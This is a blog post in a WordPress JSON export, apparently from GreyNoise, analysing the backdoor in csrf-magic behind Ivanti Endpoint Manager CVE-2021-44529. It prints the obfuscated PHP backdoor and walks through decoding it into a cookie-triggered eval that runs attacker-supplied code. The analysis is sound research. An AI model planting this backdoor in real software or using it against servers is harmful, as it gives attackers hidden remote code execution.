{"id":55389,"date":"2024-02-21T15:53:58","date_gmt":"2024-02-21T15:53:58","guid":{"rendered":"https:\/\/packetstormsecurity.com\/news\/view\/35564\/Code-Injection-Or-Backdoor-A-New-Look-At-Ivantis-CVE-2021-44529.html"},"modified":"2024-02-21T15:53:58","modified_gmt":"2024-02-21T15:53:58","slug":"code-injection-or-backdoor-a-new-look-at-ivantis-cve-2021-44529","status":"publish","type":"post","link":"https:\/\/www.threatshub.org\/blog\/code-injection-or-backdoor-a-new-look-at-ivantis-cve-2021-44529\/","title":{"rendered":"Code Injection Or Backdoor: A New Look At Ivanti&#8217;s CVE-2021-44529"},"content":{"rendered":"<div><img decoding=\"async\" src=\"https:\/\/www.labs.greynoise.io\/grimoire\/2024-02-what-is-this-old-ivanti-exploit\/img\/icon.jpg\" class=\"ff-og-image-inserted\"><\/div>\n<p><!-- Google Tag Manager (noscript) --><br \/>\n<noscript><\/noscript><br \/>\n<!-- End Google Tag Manager (noscript) --> <\/p>\n<p>This is yet another, \u201cRon got nerdsniped by a thing and wasted enough time that he needs something to show for it\u201d blog. Which, come to think of it, are pretty much all my blogs. \ud83d\ude42<\/p>\n<p>Awhile back, a <a href=\"https:\/\/twitter.com\/steventseeley\/status\/1753135446383886816\">tweet from Steven Seeley<\/a> (\u03fb\u0433_\u03fb\u03b5) caught my eye &#8211; an exploit for an issue mentioned in <a href=\"https:\/\/twitter.com\/steventseeley\/status\/1507134029543489537\">a tweet from nearly two years ago<\/a>. The tweets link to <a href=\"https:\/\/forums.ivanti.com\/s\/article\/SA-2021-12-02?language=en_US\">an Ivanti Endpoint Manager advisory from 2021<\/a> and <a href=\"https:\/\/www.exploit-db.com\/exploits\/50833\">an exploit from 2022<\/a>. The vulnerability is identified as CVE-2021-44529. I wasn\u2019t aware of any of this, but I immediately got curious!<\/p>\n<p>While finalizing this blog, I found <a href=\"https:\/\/attackerkb.com\/topics\/XTKrwlZd7p\/cve-2021-44529\">this AttackerKB post from h00die-gr3y<\/a> that covers the exact same material in roughly the same way. So if you don\u2019t like my writing, go read that one \ud83d\ude42<\/p>\n<section id=\"the-software\" class=\"level2\" readability=\"21.041426927503\">\n<h2 class=\"anchored\" data-anchor-id=\"the-software\">The software<\/h2>\n<p>In the thread, Tuan Anh Nguyen (<span class=\"citation\" data-cites=\"haxor31337\">@haxor31337<\/span>) <a href=\"https:\/\/twitter.com\/haxor31337\/status\/1507182030727135236\">mentioned it\u2019s a backdoor in csrf-magic<\/a>. I googled <code>csrf-magic backdoor<\/code>, but found nothing except for that tweet. The tweet links <a href=\"https:\/\/github.com\/csrf-magic\/csrf-magic\/blob\/master\/csrf-magic.php\">to the project<\/a>, but the project is dead and gone.<\/p>\n<p>Every once in awhile, I remember that the Way Back Machine exists and is an invaluable resource! So I threw the URL into the search box and there it was &#8211; <a href=\"https:\/\/web.archive.org\/web\/20220325023755\/https:\/\/github.com\/csrf-magic\/csrf-magic\/blob\/master\/csrf-magic.php\">the backdoored file<\/a>! That archive is from March\/2022, but the last commit was from February\/2014 (if you\u2019re doing the math, the advisory came out 7 years <em>after<\/em> the last commit).<\/p>\n<p>I found a fork of <code>csrf-magic<\/code>, but there\u2019s no sign of the commit. I\u2019d be very curious as to the provenance of that commit, whether any other software was affected, and just how long Ivanti Endpoint Manager was affected, but all the information seems to have been stuffed down the memory hole!<\/p>\n<\/section>\n<section id=\"level-1-de-obfuscating-the-backdoor\" class=\"level2\" readability=\"72\">\n<h2 class=\"anchored\" data-anchor-id=\"level-1-de-obfuscating-the-backdoor\">Level 1: De-obfuscating the backdoor<\/h2>\n<p>So I started reading the code, looking carefully for the backdoor. I thought it\u2019d be carefully hidden, disguised as legit code somewhere in one of the functions. Eventually, I got to the bottom of the file and found:<\/p>\n<div class=\"sourceCode\" id=\"cb1\" readability=\"19\">\n<pre class=\"sourceCode php code-with-copy\"><code class=\"sourceCode php\"><span id=\"cb1-1\"><span class=\"co\">\/\/ Obscure Tokens<\/span><\/span>\n<span id=\"cb1-2\"><span class=\"va\">$aeym<\/span><span class=\"op\">=<\/span><span class=\"st\">\"RlKHfsByZWdfcmVwfsbGFjZShhcnJheSgnLfs1teXHc9fsXHNdLyfscsJy9fsccy8nfsKSwgYXJyfsYXkoJycsfsJysn\"<\/span><span class=\"ot\">;<\/span><\/span>\n<span id=\"cb1-3\"><span class=\"va\">$lviw<\/span> <span class=\"op\">=<\/span> <span class=\"fu\">str_replace<\/span>(<span class=\"st\">\"m\"<\/span><span class=\"ot\">,<\/span><span class=\"st\">\"\"<\/span><span class=\"ot\">,<\/span><span class=\"st\">\"msmtmr_mrmemplmamcme\"<\/span>)<span class=\"ot\">;<\/span><\/span>\n<span id=\"cb1-4\"><span class=\"va\">$bbhj<\/span><span class=\"op\">=<\/span><span class=\"st\">\"JGMofsJGEpPjMpefsyRrPSdjMTIzJzfstlfsY2hvICc8Jy4kay4nPic7ZXfsZfshbChiYXNlNjRfZGVjb2\"<\/span><span class=\"ot\">;<\/span><\/span>\n<span id=\"cb1-5\"><span class=\"va\">$hpbk<\/span><span class=\"op\">=<\/span><span class=\"st\">\"fsJGfsM9fsJ2NvdW50fsJzfsskYfsT0kXfs0NPT0tJRTtpZihyfsZfsXNldfsCgfskYfsSkfs9fsPSdhYicgJiYg\"<\/span><span class=\"ot\">;<\/span><\/span>\n<span id=\"cb1-6\"><span class=\"va\">$rvom<\/span><span class=\"op\">=<\/span><span class=\"st\">\"KSwgam9pbihhcnfsJheV9zbGljZSgkYSwkYyfsgkYSktMyfskpfsKSkpOfs2VjaG8gJzwvJy4fskay4nPic7fQ==\"<\/span><span class=\"ot\">;<\/span><\/span>\n<span id=\"cb1-7\"><span class=\"va\">$xytu<\/span> <span class=\"op\">=<\/span> <span class=\"va\">$lviw<\/span>(<span class=\"st\">\"oc\"<\/span><span class=\"ot\">,<\/span> <span class=\"st\">\"\"<\/span><span class=\"ot\">,<\/span> <span class=\"st\">\"ocbocaocseoc6oc4_ocdoceoccocoocdoce\"<\/span>)<span class=\"ot\">;<\/span><\/span>\n<span id=\"cb1-8\"><span class=\"va\">$murp<\/span> <span class=\"op\">=<\/span> <span class=\"va\">$lviw<\/span>(<span class=\"st\">\"k\"<\/span><span class=\"ot\">,<\/span><span class=\"st\">\"\"<\/span><span class=\"ot\">,<\/span><span class=\"st\">\"kckrkeaktkek_kfkunkcktkikokn\"<\/span>)<span class=\"ot\">;<\/span><\/span>\n<span id=\"cb1-9\"><span class=\"va\">$zmto<\/span> <span class=\"op\">=<\/span> <span class=\"va\">$murp<\/span>(<span class=\"st\">''<\/span><span class=\"ot\">,<\/span> <span class=\"va\">$xytu<\/span>(<span class=\"va\">$lviw<\/span>(<span class=\"st\">\"fs\"<\/span><span class=\"ot\">,<\/span> <span class=\"st\">\"\"<\/span><span class=\"ot\">,<\/span> <span class=\"va\">$hpbk<\/span><span class=\"op\">.<\/span><span class=\"va\">$bbhj<\/span><span class=\"op\">.<\/span><span class=\"va\">$aeym<\/span><span class=\"op\">.<\/span><span class=\"va\">$rvom<\/span>)))<span class=\"ot\">;<\/span> <span class=\"va\">$zmto<\/span>()<span class=\"ot\">;<\/span><\/span><\/code><button title=\"Copy to Clipboard\" class=\"code-copy-button\"><i class=\"bi\"><\/i><\/button><\/pre>\n<\/div>\n<p>Which&#8230; lol. Way to blend in, folks! Next time, maybe you can add some flashing lights?<\/p>\n<p>So, much like h00die-gr3y, I decided not to put a lot of brainpower into figuring this out, and instead to let it decode itself. I did it in small chunks, because when I\u2019m working with malware I try not to do anything that might compromise my analysis host (which, for what it\u2019s worth, is a throwaway VM in AWS that I created just for this).<\/p>\n<p>First, <code>$lviw<\/code>:<\/p>\n<div class=\"sourceCode\" id=\"cb2\" readability=\"9\">\n<pre class=\"sourceCode php code-with-copy\"><code class=\"sourceCode php\"><span id=\"cb2-1\">$ php <span class=\"op\">-<\/span>r <span class=\"st\">'echo str_replace(\"m\",\"\",\"msmtmr_mrmemplmamcme\");'<\/span><\/span>\n<span id=\"cb2-2\"><span class=\"fu\">str_replace<\/span><\/span><\/code><button title=\"Copy to Clipboard\" class=\"code-copy-button\"><i class=\"bi\"><\/i><\/button><\/pre>\n<\/div>\n<p>&#8230;right, that was obvious. then <code>$xytu<\/code> is pretty obvious:<\/p>\n<div class=\"sourceCode\" id=\"cb3\" readability=\"9\">\n<pre class=\"sourceCode php code-with-copy\"><code class=\"sourceCode php\"><span id=\"cb3-1\">$ php <span class=\"op\">-<\/span>r <span class=\"st\">'echo str_replace(\"oc\", \"\", \"ocbocaocseoc6oc4_ocdoceoccocoocdoce\");'<\/span><\/span>\n<span id=\"cb3-2\"><span class=\"fu\">base64_decode<\/span><\/span><\/code><button title=\"Copy to Clipboard\" class=\"code-copy-button\"><i class=\"bi\"><\/i><\/button><\/pre>\n<\/div>\n<p>and, of course, <code>$murp<\/code>:<\/p>\n<div class=\"sourceCode\" id=\"cb4\" readability=\"9\">\n<pre class=\"sourceCode php code-with-copy\"><code class=\"sourceCode php\"><span id=\"cb4-1\">$ php <span class=\"op\">-<\/span>r <span class=\"st\">'echo str_replace(\"k\",\"\",\"kckrkeaktkek_kfkunkcktkikokn\");'<\/span><\/span>\n<span id=\"cb4-2\"><span class=\"er\">create_function<\/span><\/span><\/code><button title=\"Copy to Clipboard\" class=\"code-copy-button\"><i class=\"bi\"><\/i><\/button><\/pre>\n<\/div>\n<p>I assume that my highlighter is making that red because it\u2019s deprecated? Dunno!<\/p>\n<p>Also, not gonna lie, this is my favourite obfuscation I\u2019ve ever seen.<\/p>\n<p>And finally, the last line:<\/p>\n<div class=\"sourceCode\" id=\"cb5\" readability=\"10\">\n<pre class=\"sourceCode php code-with-copy\"><code class=\"sourceCode php\"><span id=\"cb5-1\"><span class=\"va\">$zmto<\/span> <span class=\"op\">=<\/span> <span class=\"va\">$murp<\/span>(<span class=\"st\">''<\/span><span class=\"ot\">,<\/span> <span class=\"va\">$xytu<\/span>(<span class=\"va\">$lviw<\/span>(<span class=\"st\">\"fs\"<\/span><span class=\"ot\">,<\/span> <span class=\"st\">\"\"<\/span><span class=\"ot\">,<\/span> <span class=\"va\">$hpbk<\/span><span class=\"op\">.<\/span><span class=\"va\">$bbhj<\/span><span class=\"op\">.<\/span><span class=\"va\">$aeym<\/span><span class=\"op\">.<\/span><span class=\"va\">$rvom<\/span>)))<span class=\"ot\">;<\/span> <span class=\"va\">$zmto<\/span>()<span class=\"ot\">;<\/span><\/span><\/code><button title=\"Copy to Clipboard\" class=\"code-copy-button\"><i class=\"bi\"><\/i><\/button><\/pre>\n<\/div>\n<p>If we substitute the variables we\u2019ve solved, we both earn our math degree and find a much more sensible function:<\/p>\n<div class=\"sourceCode\" id=\"cb6\" readability=\"11\">\n<pre class=\"sourceCode php code-with-copy\"><code class=\"sourceCode php\"><span id=\"cb6-1\"><span class=\"va\">$zmto<\/span> <span class=\"op\">=<\/span> <span class=\"er\">create_function<\/span>(<span class=\"st\">''<\/span><span class=\"ot\">,<\/span> <span class=\"fu\">base64_decode<\/span>(<span class=\"fu\">str_replace<\/span>(<span class=\"st\">\"fs\"<\/span><span class=\"ot\">,<\/span> <span class=\"st\">\"\"<\/span><span class=\"ot\">,<\/span> <span class=\"va\">$hpbk<\/span><span class=\"op\">.<\/span><span class=\"va\">$bbhj<\/span><span class=\"op\">.<\/span><span class=\"va\">$aeym<\/span><span class=\"op\">.<\/span><span class=\"va\">$rvom<\/span>)))<span class=\"ot\">;<\/span> <span class=\"va\">$zmto<\/span>()<span class=\"ot\">;<\/span><\/span><\/code><button title=\"Copy to Clipboard\" class=\"code-copy-button\"><i class=\"bi\"><\/i><\/button><\/pre>\n<\/div>\n<p>Clever! This time they used <code>fs<\/code> instead of <code>k<\/code> to obfuscate. They nearly had me, but now we can fix the base64:<\/p>\n<div class=\"sourceCode\" id=\"cb7\" readability=\"12\">\n<pre class=\"sourceCode php code-with-copy\"><code class=\"sourceCode php\"><span id=\"cb7-1\">$ php <span class=\"op\">-<\/span>r <span class=\"st\">'echo str_replace(\"fs\",\"\",\"fsJGfsM9fsJ2NvdW50fsJzfsskYfsT0kXfs0NPT0tJRTtpZihyfsZfsXNldfsCgfskYfsSkfs9fsPSdhYicgJiYgJGMofsJGEpPjMpefsyRrPSdjMTIzJzfstlfsY2hvICc8Jy4kay4nPic7ZXfsZfshbChiYXNlNjRfZGVjb2RlKHfsByZWdfcmVwfsbGFjZShhcnJheSgnLfs1teXHc9fsXHNdLyfscsJy9fsccy8nfsKSwgYXJyfsYXkoJycsfsJysnKSwgam9pbihhcnfsJheV9zbGljZSgkYSwkYyfsgkYSktMyfskpfsKSkpOfs2VjaG8gJzwvJy4fskay4nPic7fQ==\");'<\/span><\/span>\n<span id=\"cb7-2\"><span class=\"cn\">J<\/span>GM9J2NvdW50JzskYT0kX0NPT0tJRTtpZihyZXNldCgkYSk9PSdhYicgJiYgJGMoJGEpPjMpeyRrPSdjMTIzJztlY2hvICc8Jy4kay4nPic7ZXZhbChiYXNlNjRfZGVjb2RlKHByZWdfcmVwbGFjZShhcnJheSgnL1teXHc9XHNdLycsJy9ccy8nKSwgYXJyYXkoJycsJysnKSwgam9pbihhcnJheV9zbGljZSgkYSwkYygkYSktMykpKSkpO2VjaG8gJzwvJy4kay4nPic7fQ<span class=\"op\">==<\/span><\/span><\/code><button title=\"Copy to Clipboard\" class=\"code-copy-button\"><i class=\"bi\"><\/i><\/button><\/pre>\n<\/div>\n<p>and decode it:<\/p>\n<div class=\"sourceCode\" id=\"cb8\" readability=\"15\">\n<pre class=\"sourceCode php code-with-copy\"><code class=\"sourceCode php\"><span id=\"cb8-1\">$ <span class=\"kw\">echo<\/span> <span class=\"op\">-<\/span>ne <span class=\"st\">'JGM9J2NvdW50JzskYT0kX0NPT0tJRTtpZihyZXNldCgkYSk9PSdhYicgJiYgJGMoJGEpPjMpeyRrPSdjMTIzJztlY2hvICc8Jy4kay4nPic7ZXZhbChiYXNlNjRfZGVjb2RlKHByZWdfcmVwbGFjZShhcnJheSgnL1teXHc9XHNdLycsJy9ccy8nKSwgYXJyYXkoJycsJysnKSwgam9pbihhcnJheV9zbGljZSgkYSwkYygkYSktMykpKSkpO2VjaG8gJzwvJy4kay4nPic7fQ=='<\/span> <span class=\"op\">|<\/span> base64 <span class=\"op\">-<\/span>d<\/span>\n<span id=\"cb8-2\"><span class=\"va\">$c<\/span><span class=\"op\">=<\/span><span class=\"st\">'count'<\/span><span class=\"ot\">;<\/span><span class=\"va\">$a<\/span><span class=\"op\">=<\/span><span class=\"va\">$_COOKIE<\/span><span class=\"ot\">;<\/span><span class=\"cf\">if<\/span>(<span class=\"fu\">reset<\/span>(<span class=\"va\">$a<\/span>)<span class=\"op\">==<\/span><span class=\"st\">'ab'<\/span> <span class=\"op\">&amp;&amp;<\/span> <span class=\"va\">$c<\/span>(<span class=\"va\">$a<\/span>)<span class=\"op\">&gt;<\/span><span class=\"dv\">3<\/span>){<span class=\"va\">$k<\/span><span class=\"op\">=<\/span><span class=\"st\">'c123'<\/span><span class=\"ot\">;<\/span><span class=\"kw\">echo<\/span> <span class=\"st\">'&lt;'<\/span><span class=\"op\">.<\/span><span class=\"va\">$k<\/span><span class=\"op\">.<\/span><span class=\"st\">'&gt;'<\/span><span class=\"ot\">;<\/span><span class=\"kw\">eval<\/span>(<span class=\"fu\">base64_decode<\/span>(<span class=\"fu\">preg_replace<\/span>(<span class=\"dt\">array<\/span>(<span class=\"st\">'\/[^\\w=\\s]\/'<\/span><span class=\"ot\">,<\/span><span class=\"st\">'\/\\s\/'<\/span>)<span class=\"ot\">,<\/span> <span class=\"dt\">array<\/span>(<span class=\"st\">''<\/span><span class=\"ot\">,<\/span><span class=\"st\">'+'<\/span>)<span class=\"ot\">,<\/span> <span class=\"fu\">join<\/span>(<span class=\"fu\">array_slice<\/span>(<span class=\"va\">$a<\/span><span class=\"ot\">,<\/span><span class=\"va\">$c<\/span>(<span class=\"va\">$a<\/span>)<span class=\"op\">-<\/span><span class=\"dv\">3<\/span>)))))<span class=\"ot\">;<\/span><span class=\"kw\">echo<\/span> <span class=\"st\">'&lt;\/'<\/span><span class=\"op\">.<\/span><span class=\"va\">$k<\/span><span class=\"op\">.<\/span><span class=\"st\">'&gt;'<\/span><span class=\"ot\">;<\/span>}<\/span><\/code><button title=\"Copy to Clipboard\" class=\"code-copy-button\"><i class=\"bi\"><\/i><\/button><\/pre>\n<\/div>\n<p>Oh hey, some PHP code! Welcome to level 2!<\/p>\n<\/section>\n<section id=\"level-2-understanding-the-backdoor\" class=\"level2\" readability=\"37\">\n<h2 class=\"anchored\" data-anchor-id=\"level-2-understanding-the-backdoor\">Level 2: Understanding the backdoor<\/h2>\n<p>So now we have this backdoor code:<\/p>\n<div class=\"sourceCode\" id=\"cb9\" readability=\"14\">\n<pre class=\"sourceCode php code-with-copy\"><code class=\"sourceCode php\"><span id=\"cb9-1\"><span class=\"va\">$c<\/span><span class=\"op\">=<\/span><span class=\"st\">'count'<\/span><span class=\"ot\">;<\/span><span class=\"va\">$a<\/span><span class=\"op\">=<\/span><span class=\"va\">$_COOKIE<\/span><span class=\"ot\">;<\/span><span class=\"cf\">if<\/span>(<span class=\"fu\">reset<\/span>(<span class=\"va\">$a<\/span>)<span class=\"op\">==<\/span><span class=\"st\">'ab'<\/span> <span class=\"op\">&amp;&amp;<\/span> <span class=\"va\">$c<\/span>(<span class=\"va\">$a<\/span>)<span class=\"op\">&gt;<\/span><span class=\"dv\">3<\/span>){<span class=\"va\">$k<\/span><span class=\"op\">=<\/span><span class=\"st\">'c123'<\/span><span class=\"ot\">;<\/span><span class=\"kw\">echo<\/span> <span class=\"st\">'&lt;'<\/span><span class=\"op\">.<\/span><span class=\"va\">$k<\/span><span class=\"op\">.<\/span><span class=\"st\">'&gt;'<\/span><span class=\"ot\">;<\/span><span class=\"kw\">eval<\/span>(<span class=\"fu\">base64_decode<\/span>(<span class=\"fu\">preg_replace<\/span>(<span class=\"dt\">array<\/span>(<span class=\"st\">'\/[^\\w=\\s]\/'<\/span><span class=\"ot\">,<\/span><span class=\"st\">'\/\\s\/'<\/span>)<span class=\"ot\">,<\/span> <span class=\"dt\">array<\/span>(<span class=\"st\">''<\/span><span class=\"ot\">,<\/span><span class=\"st\">'+'<\/span>)<span class=\"ot\">,<\/span> <span class=\"fu\">join<\/span>(<span class=\"fu\">array_slice<\/span>(<span class=\"va\">$a<\/span><span class=\"ot\">,<\/span><span class=\"va\">$c<\/span>(<span class=\"va\">$a<\/span>)<span class=\"op\">-<\/span><span class=\"dv\">3<\/span>)))))<span class=\"ot\">;<\/span><span class=\"kw\">echo<\/span> <span class=\"st\">'&lt;\/'<\/span><span class=\"op\">.<\/span><span class=\"va\">$k<\/span><span class=\"op\">.<\/span><span class=\"st\">'&gt;'<\/span><span class=\"ot\">;<\/span>}<\/span><\/code><button title=\"Copy to Clipboard\" class=\"code-copy-button\"><i class=\"bi\"><\/i><\/button><\/pre>\n<\/div>\n<p>I ran it through an online PHP formatter (which hopefully doesn\u2019t execute it!) and ended up with something much cleaner:<\/p>\n<div class=\"sourceCode\" id=\"cb10\" readability=\"14\">\n<pre class=\"sourceCode php code-with-copy\"><code class=\"sourceCode php\"><span id=\"cb10-1\"><span class=\"kw\">&lt;?php<\/span><\/span>\n<span id=\"cb10-2\"><span class=\"va\">$c<\/span> <span class=\"op\">=<\/span> <span class=\"st\">'count'<\/span><span class=\"ot\">;<\/span><\/span>\n<span id=\"cb10-3\"><span class=\"va\">$a<\/span> <span class=\"op\">=<\/span> <span class=\"va\">$_COOKIE<\/span><span class=\"ot\">;<\/span><\/span>\n<span id=\"cb10-4\"><span class=\"cf\">if<\/span> (<span class=\"fu\">reset<\/span>(<span class=\"va\">$a<\/span>) <span class=\"op\">==<\/span> <span class=\"st\">'ab'<\/span> <span class=\"op\">&amp;&amp;<\/span> <span class=\"va\">$c<\/span>(<span class=\"va\">$a<\/span>) <span class=\"op\">&gt;<\/span> <span class=\"dv\">3<\/span>) {<\/span>\n<span id=\"cb10-5\"> <span class=\"va\">$k<\/span> <span class=\"op\">=<\/span> <span class=\"st\">'c123'<\/span><span class=\"ot\">;<\/span><\/span>\n<span id=\"cb10-6\"> <span class=\"kw\">echo<\/span> <span class=\"st\">'&lt;'<\/span> <span class=\"op\">.<\/span> <span class=\"va\">$k<\/span> <span class=\"op\">.<\/span> <span class=\"st\">'&gt;'<\/span><span class=\"ot\">;<\/span><\/span>\n<span id=\"cb10-7\"> <span class=\"kw\">eval<\/span>(<span class=\"fu\">base64_decode<\/span>(<span class=\"fu\">preg_replace<\/span>(<span class=\"dt\">array<\/span>(<\/span>\n<span id=\"cb10-8\"> <span class=\"st\">'\/[^\\w=\\s]\/'<\/span><span class=\"ot\">,<\/span><\/span>\n<span id=\"cb10-9\"> <span class=\"st\">'\/\\s\/'<\/span><\/span>\n<span id=\"cb10-10\"> )<span class=\"ot\">,<\/span> <span class=\"dt\">array<\/span>(<\/span>\n<span id=\"cb10-11\"> <span class=\"st\">''<\/span><span class=\"ot\">,<\/span><\/span>\n<span id=\"cb10-12\"> <span class=\"st\">'+'<\/span><\/span>\n<span id=\"cb10-13\"> )<span class=\"ot\">,<\/span> <span class=\"fu\">join<\/span>(<span class=\"fu\">array_slice<\/span>(<span class=\"va\">$a<\/span><span class=\"ot\">,<\/span> <span class=\"va\">$c<\/span>(<span class=\"va\">$a<\/span>) <span class=\"op\">-<\/span> <span class=\"dv\">3<\/span>)))))<span class=\"ot\">;<\/span><\/span>\n<span id=\"cb10-14\"> <span class=\"kw\">echo<\/span> <span class=\"st\">'&lt;\/'<\/span> <span class=\"op\">.<\/span> <span class=\"va\">$k<\/span> <span class=\"op\">.<\/span> <span class=\"st\">'&gt;'<\/span><span class=\"ot\">;<\/span><\/span>\n<span id=\"cb10-15\">}<\/span>\n<span id=\"cb10-16\"><span class=\"kw\">?&gt;<\/span><\/span><\/code><button title=\"Copy to Clipboard\" class=\"code-copy-button\"><i class=\"bi\"><\/i><\/button><\/pre>\n<\/div>\n<p>I went through and tried to tidy it up a bit &#8211; I substituted variables, broke out nested function calls, made the double-<code>preg_replace<\/code> call into two different <code>preg_replace<\/code> calls, added comments, etc:<\/p>\n<div class=\"sourceCode\" id=\"cb11\" readability=\"17\">\n<pre class=\"sourceCode php code-with-copy\"><code class=\"sourceCode php\"><span id=\"cb11-1\"><span class=\"kw\">&lt;?php<\/span><\/span>\n<span id=\"cb11-2\"><span class=\"co\">\/\/ The first cookie must have the value of 'ab', and there must be more then<\/span><\/span>\n<span id=\"cb11-3\"><span class=\"co\">\/\/ three cookies<\/span><\/span>\n<span id=\"cb11-4\"><span class=\"cf\">if<\/span> (<span class=\"fu\">reset<\/span>(<span class=\"va\">$_COOKIE<\/span>) <span class=\"op\">==<\/span> <span class=\"st\">'ab'<\/span> <span class=\"op\">&amp;&amp;<\/span> <span class=\"fu\">count<\/span>(<span class=\"va\">$_COOKIE<\/span>) <span class=\"op\">&gt;<\/span> <span class=\"dv\">3<\/span>) {<\/span>\n<span id=\"cb11-5\"> <span class=\"co\">\/\/ Echo &lt;c123&gt;, presumably to recognize the backdoor<\/span><\/span>\n<span id=\"cb11-6\"> <span class=\"kw\">echo<\/span> <span class=\"st\">'&lt;c123&gt;'<\/span><span class=\"ot\">;<\/span><\/span>\n<span id=\"cb11-7\"><\/span>\n<span id=\"cb11-8\"> <span class=\"co\">\/\/ Join the values of the last three cookies<\/span><\/span>\n<span id=\"cb11-9\"> <span class=\"va\">$code<\/span> <span class=\"op\">=<\/span> <span class=\"fu\">join<\/span>(<span class=\"fu\">array_slice<\/span>(<span class=\"va\">$_COOKIE<\/span><span class=\"ot\">,<\/span> <span class=\"fu\">count<\/span>(<span class=\"va\">$_COOKIE<\/span>) <span class=\"op\">-<\/span> <span class=\"dv\">3<\/span>))<span class=\"ot\">;<\/span><\/span>\n<span id=\"cb11-10\"><\/span>\n<span id=\"cb11-11\"> <span class=\"co\">\/\/ Remove everything except \"word\" characters, \"=\" signs, and whitespace<\/span><\/span>\n<span id=\"cb11-12\"> <span class=\"va\">$code<\/span> <span class=\"op\">=<\/span> <span class=\"fu\">preg_replace<\/span>(<span class=\"st\">'\/[^\\w=\\s]\/'<\/span><span class=\"ot\">,<\/span> <span class=\"st\">''<\/span>)<span class=\"ot\">;<\/span><\/span>\n<span id=\"cb11-13\"><\/span>\n<span id=\"cb11-14\"> <span class=\"co\">\/\/ Replace any whitespace character with \"+\"+<\/span><\/span>\n<span id=\"cb11-15\"> <span class=\"va\">$code<\/span> <span class=\"op\">=<\/span> <span class=\"fu\">preg_replace<\/span>(<span class=\"st\">'\/\\s\/'<\/span><span class=\"ot\">,<\/span> <span class=\"st\">'+'<\/span>)<span class=\"ot\">;<\/span><\/span>\n<span id=\"cb11-16\"><\/span>\n<span id=\"cb11-17\"> <span class=\"co\">\/\/ Base64-decode the resulting code<\/span><\/span>\n<span id=\"cb11-18\"> <span class=\"va\">$code<\/span> <span class=\"op\">=<\/span> <span class=\"fu\">base64_decode<\/span>(<span class=\"va\">$code<\/span>)<span class=\"ot\">;<\/span><\/span>\n<span id=\"cb11-19\"><\/span>\n<span id=\"cb11-20\"> <span class=\"co\">\/\/ Run it - no more create_function() nonsense this time!<\/span><\/span>\n<span id=\"cb11-21\"> <span class=\"kw\">eval<\/span>(<span class=\"va\">$code<\/span>)<span class=\"ot\">;<\/span><\/span>\n<span id=\"cb11-22\"><\/span>\n<span id=\"cb11-23\"> <span class=\"co\">\/\/ Gotta have well-formed XML!<\/span><\/span>\n<span id=\"cb11-24\"> <span class=\"kw\">echo<\/span> <span class=\"st\">'&lt;\/c123&gt;'<\/span><span class=\"ot\">;<\/span><\/span>\n<span id=\"cb11-25\">}<\/span>\n<span id=\"cb11-26\"><span class=\"kw\">?&gt;<\/span><\/span><\/code><button title=\"Copy to Clipboard\" class=\"code-copy-button\"><i class=\"bi\"><\/i><\/button><\/pre>\n<\/div>\n<p>And there you have it! It requires at least 4 cookies, the first cookie must have the value \u201cab\u201d, and the final three cookies are concatenated, decoded as slightly-obfuscated base64, and executed.<\/p>\n<p>I wish I knew more the backstory here!<\/p>\n<\/section>\n<section id=\"exploit-detection\" class=\"level2\" readability=\"16.722846441948\">\n<h2 class=\"anchored\" data-anchor-id=\"exploit-detection\">Exploit \/ detection<\/h2>\n<p>It seems like this would be pretty easy to write an exploit for and&#8230; oh, <a href=\"https:\/\/github.com\/rapid7\/metasploit-framework\/pull\/17449\">h00die-gr3y already wrote a Metasploit module<\/a>.<\/p>\n<p>In that case, I should just write a GreyNoise tag and&#8230; oh, <a href=\"https:\/\/viz.greynoise.io\/tag\/ivanti-endpoint-manager-rce-attempt?days=30\">we already have one<\/a>. I guess pre-Ron GreyNoise was on top of things!<\/p>\n<p>In the end, I pared down our tag to be a bit more generic, but otherwise this was just an interesting diversion. As far as I can tell, nobody\u2019s really using this vulnerability anymore, so it\u2019s just an interesting historical relic.<\/p>\n<p>Hope you enjoyed this post!<\/p>\n<\/section>\n<p> READ MORE <a href=\"https:\/\/packetstormsecurity.com\/news\/view\/35564\/Code-Injection-Or-Backdoor-A-New-Look-At-Ivantis-CVE-2021-44529.html\">HERE<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>READ MORE HERE&#8230;<\/p>\n","protected":false},"author":2,"featured_media":55390,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"colormag_page_layout":"default_layout","footnotes":""},"categories":[277],"tags":[10102],"class_list":["post-55389","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-cybersecurity-blogs","tag-headlinehackerflawbackdoor"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.8 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Code Injection Or Backdoor: A New Look At Ivanti&#039;s CVE-2021-44529 2026 | ThreatsHub Cybersecurity News<\/title>\n<meta name=\"description\" content=\"ThreatsHub Cybersecurity News | ThreatsHub.org | Cloud Security &amp; Cyber Threats Analysis Hub. 100% Free OSINT Threat Intelligent and Cybersecurity News.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.threatshub.org\/blog\/code-injection-or-backdoor-a-new-look-at-ivantis-cve-2021-44529\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Code Injection Or Backdoor: A New Look At Ivanti&#039;s CVE-2021-44529 2026 | ThreatsHub Cybersecurity News\" \/>\n<meta property=\"og:description\" content=\"ThreatsHub Cybersecurity News | ThreatsHub.org | Cloud Security &amp; Cyber Threats Analysis Hub. 100% Free OSINT Threat Intelligent and Cybersecurity News.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.threatshub.org\/blog\/code-injection-or-backdoor-a-new-look-at-ivantis-cve-2021-44529\/\" \/>\n<meta property=\"og:site_name\" content=\"ThreatsHub Cybersecurity News\" \/>\n<meta property=\"article:published_time\" content=\"2024-02-21T15:53:58+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.labs.greynoise.io\/grimoire\/2024-02-what-is-this-old-ivanti-exploit\/img\/icon.jpg\" \/>\n<meta name=\"author\" content=\"TH Author\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@threatshub\" \/>\n<meta name=\"twitter:site\" content=\"@threatshub\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"TH Author\" \/>\n\t<meta name=\"twitter:label2\" 